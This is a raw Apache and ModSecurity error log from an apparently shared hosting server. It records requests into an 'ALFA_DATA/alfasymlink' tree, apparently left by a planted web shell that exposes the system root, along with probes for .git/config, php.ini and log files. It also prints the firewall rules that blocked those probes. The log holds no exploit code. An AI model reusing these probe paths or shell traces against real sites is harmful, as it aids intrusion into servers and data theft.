[Sat Oct 24 04:40:47.123770 2026] [ssl:error] [pid 2603779:tid 2603779] (70014)End of file found: [client 18.232.11.247:52094] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:40:51.168577 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.70.209.13:29610] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:40:54.891243 2026] [core:error] [pid 2603778:tid 2603778] (13)Permission denied: [client 52.71.203.206:32165] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:05/subsystem/devices/device:02/wakeup/wakeup0/device/subsystem/drivers/battery/bind
[Sat Oct 24 04:40:57.652403 2026] [core:error] [pid 2605376:tid 2605376] (13)Permission denied: [client 85.208.96.211:27794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/align
[Sat Oct 24 04:40:57.758315 2026] [core:error] [pid 2603776:tid 2603776] (13)Permission denied: [client 144.76.19.24:39934] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/4/mem
[Sat Oct 24 04:41:11.106203 2026] [ssl:error] [pid 2605376:tid 2605376] (70014)End of file found: [client 3.216.227.216:12843] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:41:14.968453 2026] [ssl:error] [pid 2603841:tid 2603841] (70014)End of file found: [client 44.213.36.21:1456] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:41:16.269998 2026] [core:error] [pid 2603779:tid 2603779] (13)Permission denied: [client 185.191.171.18:50974] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_dir_entry/ctor
[Sat Oct 24 04:41:27.201353 2026] [ssl:error] [pid 2605376:tid 2605376] (70014)End of file found: [client 3.222.85.38:63345] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:41:30.809632 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 54.87.62.248:62596] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:41:34.558150 2026] [core:crit] [pid 2603778:tid 2603778] (13)Permission denied: [client 97.107.135.252:63488] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 04:41:34.955878 2026] [core:error] [pid 2605376:tid 2605376] (13)Permission denied: [client 54.147.182.90:18614] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/vmd/uevent
[Sat Oct 24 04:41:38.887800 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 34.199.252.22:40727] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:41:42.943800 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 52.71.46.142:24859] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:41:50.895577 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 98.82.59.253:64293] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:41:57.352209 2026] [security2:error] [pid 2603780:tid 2603780] [client 43.167.236.228:60234] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/resultados/ferreterias/1"] [unique_id "atxvVRVGFs5mlQ9y3KndbAAAABc"]
[Sat Oct 24 04:42:00.737499 2026] [core:error] [pid 2603776:tid 2603776] (13)Permission denied: [client 85.208.96.206:22940] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-128/slabs
[Sat Oct 24 04:42:01.914992 2026] [core:error] [pid 2605376:tid 2605376] (13)Permission denied: [client 185.191.171.4:51128] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/validate
[Sat Oct 24 04:42:06.752764 2026] [core:error] [pid 2603777:tid 2603777] (13)Permission denied: [client 54.225.181.161:44977] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/piix4_smbus/0000:00:01.3/rescan
[Sat Oct 24 04:42:14.725437 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 3.216.13.10:50893] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:42:22.681871 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 23.21.148.226:34921] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:42:26.743293 2026] [ssl:error] [pid 2605376:tid 2605376] (70014)End of file found: [client 54.92.171.106:47664] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:42:34.832047 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 34.231.77.232:2372] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:42:38.881885 2026] [core:error] [pid 2603778:tid 2603778] (13)Permission denied: [client 44.207.207.36:14570] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/resource0
[Sat Oct 24 04:42:42.916212 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 54.84.147.79:62349] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:42:54.666384 2026] [ssl:error] [pid 2605376:tid 2605376] (70014)End of file found: [client 35.173.18.61:48480] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:43:02.680333 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 52.0.105.244:58536] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:43:10.912917 2026] [core:error] [pid 2603778:tid 2603778] (13)Permission denied: [client 54.80.73.122:45539] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource2
[Sat Oct 24 04:43:18.732196 2026] [core:error] [pid 2603780:tid 2603780] (13)Permission denied: [client 44.223.116.149:33494] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/0000:00:05.0/subsystem/slots/20/module/uevent
[Sat Oct 24 04:43:19.605196 2026] [core:error] [pid 2603779:tid 2603779] (13)Permission denied: [client 185.191.171.13:33966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8/partial
[Sat Oct 24 04:43:23.884741 2026] [authz_core:error] [pid 2603777:tid 2603777] [client 172.104.128.74:44252] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 04:43:27.406155 2026] [core:crit] [pid 2603780:tid 2603780] (13)Permission denied: [client 45.33.71.154:20760] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 04:43:30.647523 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 98.82.63.147:43715] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:43:39.503593 2026] [authz_core:error] [pid 2605376:tid 2605376] [client 3.214.31.74:20465] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Sat Oct 24 04:43:42.858858 2026] [ssl:error] [pid 2603779:tid 2603779] (70014)End of file found: [client 54.84.147.79:59788] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:43:46.600080 2026] [ssl:error] [pid 2603841:tid 2603841] (70014)End of file found: [client 54.92.171.106:52622] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:43:50.774480 2026] [security2:error] [pid 2603778:tid 2603778] [client 34.75.164.182:28250] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "atxvxheU1dFvtGkP6HRb6AAAAAU"]
[Sat Oct 24 04:43:50.774769 2026] [security2:error] [pid 2603778:tid 2603778] [client 34.75.164.182:28250] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "atxvxheU1dFvtGkP6HRb6AAAAAU"]
[Sat Oct 24 04:43:50.775006 2026] [security2:error] [pid 2603778:tid 2603778] [client 34.75.164.182:28250] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "atxvxheU1dFvtGkP6HRb6AAAAAU"]
[Sat Oct 24 04:43:50.775325 2026] [security2:error] [pid 2603778:tid 2603778] [client 34.75.164.182:28250] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "atxvxheU1dFvtGkP6HRb6AAAAAU"]
[Sat Oct 24 04:43:54.668372 2026] [core:error] [pid 2603776:tid 2603776] (13)Permission denied: [client 44.215.61.66:23915] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/remove
[Sat Oct 24 04:43:58.590462 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 54.204.62.163:22971] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:44:06.599933 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 18.206.47.187:53102] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:44:10.583537 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.206.93.215:17378] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:44:22.495387 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 100.29.155.89:59316] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:44:46.654288 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.213.85.234:4183] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:44:58.369967 2026] [ssl:error] [pid 2603779:tid 2603779] (70014)End of file found: [client 18.205.213.231:43002] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:45:10.213588 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.221.180.179:26269] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:45:14.253478 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 34.194.233.48:43870] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:45:15.503543 2026] [core:crit] [pid 2603841:tid 2603841] (13)Permission denied: [client 71.6.246.162:42134] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 04:45:15.588419 2026] [authz_core:error] [pid 2603780:tid 2603780] [client 71.6.246.162:24538] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Sat Oct 24 04:45:15.680515 2026] [authz_core:error] [pid 2603779:tid 2603779] [client 71.6.246.162:42142] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Sat Oct 24 04:45:22.198952 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 35.173.18.61:17227] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:45:30.464794 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 107.20.255.194:17657] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:45:42.227234 2026] [core:error] [pid 2603777:tid 2603777] (13)Permission denied: [client 98.83.226.125:7666] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/subsystem/drivers/atkbd/serio0/firmware_node/physical_node/firmware_node/physical_node1/driver/uevent
[Sat Oct 24 04:45:50.226703 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 3.215.221.125:42517] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:45:54.431565 2026] [core:error] [pid 2603788:tid 2603788] (13)Permission denied: [client 44.195.50.71:16144] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:16/eject
[Sat Oct 24 04:45:58.514121 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 18.232.36.1:7979] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:46:00.584975 2026] [core:error] [pid 2603776:tid 2603776] (13)Permission denied: [client 185.191.171.7:47306] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/validate
[Sat Oct 24 04:46:02.653273 2026] [core:error] [pid 2603779:tid 2603779] (13)Permission denied: [client 85.208.96.200:11818] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/aio_kiocb/red_zone
[Sat Oct 24 04:46:06.293576 2026] [ssl:error] [pid 2603841:tid 2603841] (70014)End of file found: [client 107.20.224.184:29572] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:46:14.203400 2026] [ssl:error] [pid 2605376:tid 2605376] (70014)End of file found: [client 44.215.61.66:46841] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:46:15.338488 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 185.191.171.2:29104] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:46:18.378389 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 52.73.142.41:30117] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:46:22.337676 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 23.23.212.212:49502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/iosf_mbi_pci/bind
[Sat Oct 24 04:46:26.341809 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 98.82.38.120:38350] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:46:28.770206 2026] [authz_core:error] [pid 2603780:tid 2603780] [client 104.131.80.228:54828] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 04:46:29.003740 2026] [authz_core:error] [pid 2603841:tid 2603841] [client 104.131.80.228:54850] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Sat Oct 24 04:46:29.009028 2026] [authz_core:error] [pid 2603777:tid 2603777] [client 104.131.80.228:54858] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Sat Oct 24 04:46:29.934142 2026] [authz_core:error] [pid 2603777:tid 2603777] [client 104.131.80.228:54858] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Sat Oct 24 04:46:29.946253 2026] [authz_core:error] [pid 2603780:tid 2603780] [client 104.131.80.228:54828] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Sat Oct 24 04:46:35.354676 2026] [security2:error] [pid 2603841:tid 2603841] [client 104.131.80.228:54850] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_san-luis-potosi_1.html"] [unique_id "atxwa_5D_GgUDTIH79rMYwAAAAI"]
[Sat Oct 24 04:46:35.354737 2026] [security2:error] [pid 2603841:tid 2603841] [client 104.131.80.228:54850] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_san-luis-potosi_1.html"] [unique_id "atxwa_5D_GgUDTIH79rMYwAAAAI"]
[Sat Oct 24 04:46:37.775822 2026] [security2:error] [pid 2603780:tid 2603780] [client 104.131.80.228:54828] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "atxwbRVGFs5mlQ9y3KndkQAAABc"]
[Sat Oct 24 04:46:37.776311 2026] [security2:error] [pid 2603780:tid 2603780] [client 104.131.80.228:54828] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "atxwbRVGFs5mlQ9y3KndkQAAABc"]
[Sat Oct 24 04:46:37.776588 2026] [security2:error] [pid 2603780:tid 2603780] [client 104.131.80.228:54828] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "atxwbRVGFs5mlQ9y3KndkQAAABc"]
[Sat Oct 24 04:46:37.805908 2026] [authz_core:error] [pid 2603776:tid 2603776] [client 104.131.80.228:48084] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Sat Oct 24 04:46:37.817656 2026] [authz_core:error] [pid 2603776:tid 2603776] [client 104.131.80.228:48084] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Sat Oct 24 04:46:37.838666 2026] [authz_core:error] [pid 2603776:tid 2603776] [client 104.131.80.228:48084] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Sat Oct 24 04:46:41.493742 2026] [authz_core:error] [pid 2603788:tid 2603788] [client 104.131.80.228:48112] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Sat Oct 24 04:46:41.510294 2026] [authz_core:error] [pid 2603788:tid 2603788] [client 104.131.80.228:48112] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sat Oct 24 04:46:46.198998 2026] [ssl:error] [pid 2605376:tid 2605376] (70014)End of file found: [client 44.196.118.6:48998] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:46:48.924854 2026] [security2:error] [pid 2605376:tid 2605376] [client 185.191.171.14:62332] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/python3.6/site-packages/pyudev-0.21.0-py3.6.egg-info/PKG-INFO"] [unique_id "atxweCPkzICfwCbiF6r2ZQAAAAM"]
[Sat Oct 24 04:46:48.924894 2026] [security2:error] [pid 2605376:tid 2605376] [client 185.191.171.14:62332] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/python3.6/site-packages/pyudev-0.21.0-py3.6.egg-info/PKG-INFO"] [unique_id "atxweCPkzICfwCbiF6r2ZQAAAAM"]
[Sat Oct 24 04:46:58.265285 2026] [ssl:error] [pid 2607246:tid 2607246] (70014)End of file found: [client 44.210.213.220:24524] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:47:02.550996 2026] [security2:error] [pid 2607256:tid 2607256] [client 104.131.80.228:42098] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "atxwhqrf_-p7HbGZ-3-nGAAAABU"]
[Sat Oct 24 04:47:02.551634 2026] [security2:error] [pid 2607256:tid 2607256] [client 104.131.80.228:42098] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "atxwhqrf_-p7HbGZ-3-nGAAAABU"]
[Sat Oct 24 04:47:02.551997 2026] [security2:error] [pid 2607256:tid 2607256] [client 104.131.80.228:42098] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "atxwhqrf_-p7HbGZ-3-nGAAAABU"]
[Sat Oct 24 04:47:06.364647 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 44.208.193.63:7349] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:47:06.491690 2026] [security2:error] [pid 2607268:tid 2607268] [client 104.131.80.228:42174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "atxwimdU8QwckgW6dYi9swAAABg"]
[Sat Oct 24 04:47:06.492274 2026] [security2:error] [pid 2607268:tid 2607268] [client 104.131.80.228:42174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "atxwimdU8QwckgW6dYi9swAAABg"]
